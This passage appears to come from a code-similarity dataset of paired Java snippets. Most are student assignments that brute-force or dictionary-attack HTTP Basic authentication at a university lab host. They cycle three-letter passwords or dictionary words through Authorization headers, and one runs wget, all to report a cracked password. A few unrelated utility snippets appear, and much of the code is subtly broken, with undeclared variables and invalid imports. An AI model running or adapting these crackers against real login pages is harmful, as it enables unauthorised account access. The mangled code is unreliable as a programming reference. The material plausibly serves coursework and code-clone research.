\ {\n for (int j=0;j<52;j++) {\n for (int\
\ k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\
\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t \
\ catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\
\t\t\t System.exit(0);\n try { \n\t\t\t \
\ u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new\
\ url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\
\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\
\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength()\
\ != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\
\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User\
\ Name : Password is \"+password+ \n\t\t \" \
\ \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\
\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\
\t\t\t\t \t \n \t\t System.exit(0);\n\n\t \
\ }\n\t\t }\n\t\t \n\t\t \t\t \n\t \
\ } catch (ProtocolException px) {px.printStackTrace();\n \
\ } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n\
\ } catch (BindException e){e.printStackTrace();\n\t \
\ } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\
\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\
\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\
\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n \
\ }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n\
}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private\
\ String passwordLetters[] ;\n private String password=\" \";\n private static\
\ String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n\
\ private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator\
\ = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count;\
\ \n private HttpURLConnection u;\n \n int start,stop;\n \n static\
\ boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int\
\ counter,String[]\n passwordLetters,String\
\ userName,BruteForce bruteForce) {\n this.start = start;\n this.stop\
\ = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n\
\ count =counter;\n this.bruteForce=bruteForce; \n try {\n\t\
\ \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n\t \n u = (HttpURLConnection)url.openConnection();\n\t \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\
\n }\n \n public synchronized void run() {\n \n outer : for (int\
\ i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n \
\ for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\
\ \t password=\":\"+password;\n\t\t\t\n\t \n\
\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1);\
\ }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\
\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n \
\ try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n \
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \"\
\ \" + passBase64);\n\t\t\t \n\n\t\t\t\n \
\ u.connect();\n BruteForce.noOfAttempts++;\n\
\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\
\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\
\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your\
\ User Name : Password is \"+password+ \n\t\t \
\ \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\
\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\"\
\ of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t \
\ System.exit(0);\n\n\t }\n\t\t \
\ }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException\
\ px) {px.printStackTrace();\n } catch ( NoRouteToHostException\
\ nr){k--; \n\t\t\t nr.printStackTrace();\n } catch\
\ (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException\
\ e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\
\t\t\t \n\t } finally {u.disconnect();\n\t }\n\
\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\
\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n\
\ System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator\
\ extends Authenticator {\n private String uName;\n String passwd;\n static\
\ char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName\
\ = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\
\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication\
\ getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n\
\ }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection \
\ {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n \
\ public void disconnect() {\n }\n\n public boolean usingProxy() {\n \
\ return true;\n }\n public void connect() {\n }\n\n}\n\n"
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\
\ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
import java.net.HttpURLConnection;\n\n\npublic class BruteForce \n{\n String\
\ uname = \"\";\n String pword = \"null\";\n Vector v = new Vector();\n int\
\ runTime;\n \n public void doConnect(String connect, int num)\n {\n \n\
\ String cad = connect;\n \n try\n {\n URL secureSite = new\
\ URL();\n URLConnection connection = secureSite.openConnection();\n\t \n\
\ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\
\ i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t \
\ String up = uname + \":\" + pword;\n String encoding;\n \
\ try\n\t\t{\n\t\t secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder)\
\ Class.forName(\".misc.BASE64Encoder\").newInstance();\n encoding\
\ = encoder.encode (up.getBytes());\n }\n\t catch (Exception ex)\
\ \n {\n\t\t Base64Converter encoder = new Base64Converter();\n \
\ encoding = encoder.encode(up.getBytes());\n }\n\t connection.setRequestProperty\
\ (\"Authorization\", \" \" + encoding);\n connection.connect();\n \
\ if(connection instanceof HttpURLConnection)\n\t {\n\t HttpURLConnection\
\ httpCon=(HttpURLConnection)connection;\n if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\
\t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \"\
\ -Incorrect Password : \" + pword);\n\t\t httpCon.disconnect();\n\t \
\ doConnect(uname, i+1);\n\t }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\
\\n\\n\\nPassword for HTTP Secure Site By BruteForce Attack\");\n \
\ System.out.println( +\"\\tPassword : \"+ pword);\n\t \n \
\ runTime = System.currentTimeMillis() - runTime; \n System.out.println(\"\
Time taken crack password (in seconds)\"+\" : \"+ runTime/1000+\"\\n\"+ \"Tries\
\ taken crack password : \"+ i);\n\t System.exit(0);\n\t }\n\t \
\ }\n\t }\n }\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\
\ }\n }\n public Vector getPassword()\n {\n try\n {\n makePasswords\
\ mp = new makePasswords();\n mp.makePass();\n\tmp.loadFile();\n v\
\ = mp.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\
\ }\n return v;\n }\n public void setTimeTaken( int time_taken)\n {\n\
\ runTime = time_taken;\n } \n public static void main( String args[] )\
\ throws IOException \n {\n \n try\n {\n runTime1 = System.currentTimeMillis();\
\ \n BruteForce newDo = new BruteForce();\n newDo.setTimeTaken(runTime1);\n\
\ newDo.getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n newDo.doConnect(site, 0);\n }catch(Exception ex)\n {\n System.out.println(\"\
Errrrrrrr\");\n }\n \n\n } \n \n}\n\nclass Base64Converter\n {\n\
\ \n public final char [ ] alphabet = {\n 'A', 'B', 'C',\
\ 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O',\
\ 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n \
\ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i',\
\ 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n \
\ '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public String\
\ encode ( String s )\n {\n return encode ( s.getBytes\
\ ( ) );\n }\n \n public String encode ( byte [ ] octetString\
\ )\n {\n int bits24;\n int bits6;\n \n\
\ char [ ] out\n = new char [ ( ( octetString.length\
\ - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int\
\ i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n\
\ \n bits24=( octetString [ i++ ] & 0xFF ) <<\
\ 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n \
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [\
\ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\
\ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\
\ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\
\ \n if ( octetString.length - i == 2 )\n {\n \
\ \n bits24 = ( octetString [ i ] & 0xFF ) <<\
\ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\
\ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
\ ] = '=';\n }\n else if ( octetString.length - i ==\
\ 1 )\n {\n \n bits24 = ( octetString\
\ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\
\ out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
\ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\
\ return new String ( out );\n }\n }\n \n \n"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\n\npublic class\
\ Dictionary\n{\n public static void main (String args[])\n {\n \n \
\ String file = \"/usr/share/lib/dict/words\";\n FileReader fRead;\n \
\ BufferedReader buf;\n\n try\n {\n fRead = new FileReader(file);\n\
\ buf = new BufferedReader(fRead);\n String Password = \"\";\n\
\ int i=0;\n\n \n while( (Password = buf.readLine()) !=\
\ null)\n {\n i++;\n String a = myurl(\"http://sec-crack.cs.rmit.edu./SEC/2\"\
, \"\", Password, i);\n }\n }\n catch(FileNotFoundException\
\ e)\n {\n System.out.println(\"File not found\");\n }\n \
\ catch(IOException ioe)\n {\n System.out.println(\"IO Error \"\
\ + ioe);\n }\n }\n\n public static String encode (String source)\n \
\ {\n BASE64Encoder enc = new source.misc.BASE64Encoder();\n return(enc.encode(source.getBytes()));\n\
\ }\n\n public static String myurl (String url, String Name, String Password,\
\ int val )\n {\n String thisLine;\n String retVal;\n URL u;\n\
\ URLConnection uc;\n retVal = \"\";\n\n try\n {\n \
\ u = new URL(url);\n try\n {\n uc = u.openConnection();\n\
\ if (Name != null)\n {\n uc.setRequestProperty(\"\
Authorization\", \" \" + encode(Name + \":\" + Password));\n }\n \
\ InputStream content = (InputStream)uc.getInputStream();\n \
\ BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\
\n String line;\n \n while ((line = in.readLine())\
\ != null)\n {\n retVal += line;\n System.out.println(line);\n\
\ System.out.println(\"password=\"+Password+\";number:\"+num);\n\
\ System.exit(0);\n }\n }\n catch (Exception\
\ e)\n {\n ;\n \n }\n }\n catch\
\ (MalformedURLException e)\n {\n return(url + \" is not a parseable\
\ URL\");\n }\n return retVal;\n }\n}\n\n\n"
- "\nimport java.util.*;\n\npublic class CrackThread implements Runnable {\n\n \
\ private String strUsername;\n private String strURL;\n private int iSeed;\n\
\ private int iEnd;\n \n \n public CrackThread() {\n }\n \n\
\ public void setParams(String url, String username, int seed, int end) {\n\
\ strUsername = username;\n strURL = url;\n iSeed = seed;\n\
\ iEnd = end;\n }\n \n public void run() {\n Date dtStart,\
\ dtEnd;\n PasswordGen pwd = new PasswordGen();\n PasswordTest tester;\n\
\ int i=1;\n boolean bDone = false;\n Result res;\n\n \
\ dtStart = new Date();\n \n \n pwd.setSeed(iSeed);\n\
\ \n while(!bDone) {\n tester = new PasswordTest(strURL,\
\ strUsername, pwd.getNextPassword());\n \n bDone = tester;\n\
\ i++;\n \n \n if(i % 100 == 0)\n\
\ {\n System.out.println(pwd.getPassword());\n \
\ }\n \n if(bDone) {\n \n \
\ res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new\
\ Date(), i);\n System.out.print(res.toString());\n \
\ }\n else\n {\n \n }\n \
\ \n \n if( i >= iEnd) bDone = true;\n } \
\ \n }\n \n}\n"
- "\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n private\
\ Cracker crack;\n private Vector clients;\n private int num;\n private\
\ int bigStart;\n\n public BruteForce()\n {\n int i, j;\n int start,\
\ finish;\n start=finish = 0;\n \n crack = new Cracker();\n \
\ crack.loadLetters();\n crack.loadPairs();\n crack.loadTriples();\n\
\ num = crack.getVictor().size();\n clients = new Vector( num);\n \
\ j = 0;\n \n bigStart = System.currentTimeMillis();\n for(\
\ i = 0; i < num; i++)\n {\n MyClient2 client = new MyClient2(this,\
\ i + 1, 80, (String)crack.getVictor().elementAt( i));\n \n \
\ clients.add( client);\n\t Thread t = new Thread( client);\n\t t.print();\n\
\ j++;\n if(j == 100)\n {\n t = System.currentTimeMillis();\n\
\ System.out.println(\"i = \"+i+\" \"+(String)crack.getVictor().elementAt(\
\ i));\n finish = t;\n while( (finish - t ) < 1000)\n\
\ {\n finish = System.currentTimeMillis();\n \
\ }\n j = 0;\n }\n \n }\n }\n \n public\
\ void retire(int MyClient2 )\n {\n int bigFinish;\n bigFinish = t.getTime();\n\
\ System.out.println(\" It took \"+(bigFinish - bigStart)/1000+\" \"+\"seconds\
\ crack password using brute force\");\n System.exit(0);\n }\n \n \
\ public static void main (String[] args)\n {\n BruteForce = new BruteForce();\n\
\ }\n}\n \n"
- source_sentence: "\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\
\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
import javax.sql.DataSource;\n\n\n\n\n\n\npublic class MailsendPropertyHelper\
\ {\n\n\tprivate static Properties testProps;\n\n\tpublic MailsendPropertyHelper()\
\ {\n\t}\n\n\n\t\n\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
Error init'ing the watchddog Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\
return testProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
\ throws Exception{\n\t\tif(testProps == null){\n\t\t\ttestProps = new Properties();\n\
\n\t\t\tInputStream fis =\n\t\t\t\tMailsendPropertyHelper.class.getResourceAsStream(\"\
/mailsend.properties\");\n\t\t\ttestProps.load(fis);\n\t\t}\n\t}\n}\n\n\n\n\n\n"
sentences:
- "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\
\ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\
\ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\
\ boolean auth = false;\n Date = new Date();\n boolean morePasswords\
\ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\
\ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n } catch (Exception e) {\n\
\ System.out.println(\" was exception: \" + e.getMessage());\n \
\ }\n int count = passPtr;\n while (true) {\n \
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
\ password[count] = validChars.charAt(0);\n count--;\n\
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
\ + 1);\n break;\n }\n if (count < 0) {\n\
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
\ } else {\n morePasswords = false;\n \
\ }\n break;\n }\n }\n \n }\
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
\ password);\n }\n}\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\
\npublic class Dictionary {\n public static void main (String[] args) throws\
\ IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\
\n d = new Date().getTime();\n FileReader fr = new FileReader(\"\
/usr/share/lib/dict/words\");\n BufferedReader bufr = new BufferedReader(fr);\n\
\ String word = bufr.readLine(); \n int total = 960;\n\
\ String[] pws = new String[total];\n int count = 0;\n while\
\ (word!=null){\n if (word.length()<=3) { pws[count] = word; count++;}\n\
\tword = bufr.readLine();\n }\n \n int i=0;\n int response\
\ = 0;\n for (i=0;i<count;i++){\n String uname = \"\";\n String\
\ userinfo = uname + \":\" + pws[i];\n try{\n String encoding =\
\ new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n URL url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\
\ uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty\
\ (\"Authorization\", \" \" + encoding);\n response = uc.getResponseCode();\n\
\t if (response == 200) break;\n\t else uc.disconnect();\n }\n catch(IOException\
\ e){ System.err.println(e); e.printStackTrace(); } \n catch(IllegalStateException\
\ s){ System.err.println(s); s.printStackTrace(); }\n }\n System.out.println(\"\
Response \"+i+\" was \"+response);\n System.out.println(\"The successful\
\ password was \"+pws[i]);\n finish = new Date().getTime();\n float\
\ totaltime = (float)(finish-d)/1000;\n System.out.println(\"Time taken:\
\ \"+totaltime+ \" seconds.\");\n \n }\n}\n\n"
- " \n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class MyTimer\n{\t\
\n\n\tpublic static void main(String args[])\n\t{\n\t\tWatchdog watch = new Watchdog();\n\
\t\tTimer time = new Timer();\n\t\ttime.schedule(watch,864000000,864000000);\n\
\t\t\n\t\t\t\n\t}\n}\n"
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\
\npublic class Dictionary\n{\n public Dictionary()\n {}\n\n public boolean\
\ fetchURL(String urlString,String username,String password)\n {\n StringWriter\
\ sw= new StringWriter();\n PrintWriter pw = new PrintWriter();\n try{\n\
\ URL url=new URL(urlString); \n String userPwd= username+\":\"+password;\n\
\n \n \n \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n\
\ String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"\
Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\
\ + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection();\
\ \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n\
\ InputStream content = (InputStream)huc.getInputStream();\n BufferedReader\
\ in =\n new BufferedReader (new InputStreamReader (content));\n \
\ String line;\n while ((line = in.readLine()) != null) {\n pw.println\
\ (line);\n System.out.println(\"\");\n System.out.println(sw.toString());\n\
\ }return true;\n } catch (MalformedURLException e) {\n pw.println\
\ (\"Invalid URL\");\n return false;\n } catch (IOException e) {\n \
\ pw.println (\"Error URL\");\n return false;\n }\n\n }\n\n \
\ public void getPassword()\n {\n String dictionary=\"words\";\n String\
\ urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\"\
;\n String pwd=\" \";\n\n try\n {\n BufferedReader inputStream=new\
\ BufferedReader(new FileReader(dictionary));\n startTime=System.currentTimeMillis();\n\
\ while (pwd!=null)\n {\n pwd=inputStream.readLine();\n \
\ if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n\
\ System.out.println(\"Finally I gotta it, password is : \"+pwd);\n\
\ System.out.println(\"The time for cracking password is: \"+(finishTime-startTime)\
\ + \" milliseconds\");\n System.exit(1);\n } \n\n }\n\
\ inputStream.close();\n }\n catch(FileNotFoundException e)\n \
\ {\n System.out.println(\"Dictionary not found.\");\n }\n catch(IOException\
\ e)\n {\n System.out.println(\"Error dictionary\");\n }\n }\n\
\n public static void main(String[] arguments)\n {\n BruteForce bf=new BruteForce();\n\
\ bf.getPassword();\n } \n}"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n public\
\ static void main(String args[]) \n {\n String s = null;\n String\
\ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n \n String\
\ alphabets = new String(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
);\n \n String password = null;\n int len = 0;\n int num_tries\
\ = 0;\n\n len = alphabets.length();\n \n \n for (int i=0;\
\ i<len; i++)\n {\n for (int j=0; j<len; j++)\n\t {\n \
\ for (int k=0; k<len; k++)\n\t {\n try \n {\n\
\ \n password = String.valueOf(alphabets.charAt(i))\
\ + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n\
\ \n System.out.print(alphabets.charAt(i)); \n\
\ System.out.print(alphabets.charAt(j)); \n \
\ System.out.println(alphabets.charAt(k)); \n\n \n \
\ Process p = Runtime.getRuntime().exec(\"wget --http-user= --http-passwd=\"\
\ + password + \" \" + basic_url);\n \n BufferedReader\
\ stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n\
\ while ((s = stdInput.readLine()) != null)\n \
\ {\n System.out.println(s);\n }\n \
\ \n \n while ((s = stdError.readLine())\
\ != null)\n {\n System.out.println(s);\n\
\ }\n \n try\n\t\t {\n\
\ p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n\n \
\ num_tries++;\n \n if((p.exitValue())\
\ == 0)\n { \n System.out.println(\"\
**********PASSWORD IS: \" + password);\n\t System.out.println(\"**********NUMBER\
\ OF TRIES: \" + num_tries);\n System.exit(1);\n \
\ }\n }\n catch (IOException e)\n \
\ {\n System.out.println(\"exception happened - here's\
\ what I know: \");\n e.printStackTrace();\n \
\ System.exit(-1);\n }\n }\n }\n }\n \
\ }\n}\n\n"
- "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport java.io.*;\n\
import java.net.*;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport\
\ java.util.*;\n\npublic class BruteForce {\n\n public static void main(String[]\
\ args) throws IOException {\n\n \n int start , end, total;\n start\
\ = System.currentTimeMillis(); \n\n String username = \"\";\n String\
\ password = null;\n String host = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n \n \n String letters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n int lettersLen = letters.length(); \n int passwordLen=3; \n\n \
\ int passwords=0; \n int twoChar=0; \n\n url.misc.BASE64Encoder\
\ base = new url.misc.BASE64Encoder();\n \n\n \n String authenticate\
\ = \"\"; \n String realm = null, domain = null, hostname = null;\n \
\ header = null; \n\n \n int responseCode;\n String responseMsg;\n\
\n \n int temp1=0;\n int temp2=0;\n int temp3=0;\n\n\n \
\ \n \n \n for (int a=1; a<=passwordLen; a++) {\n temp1\
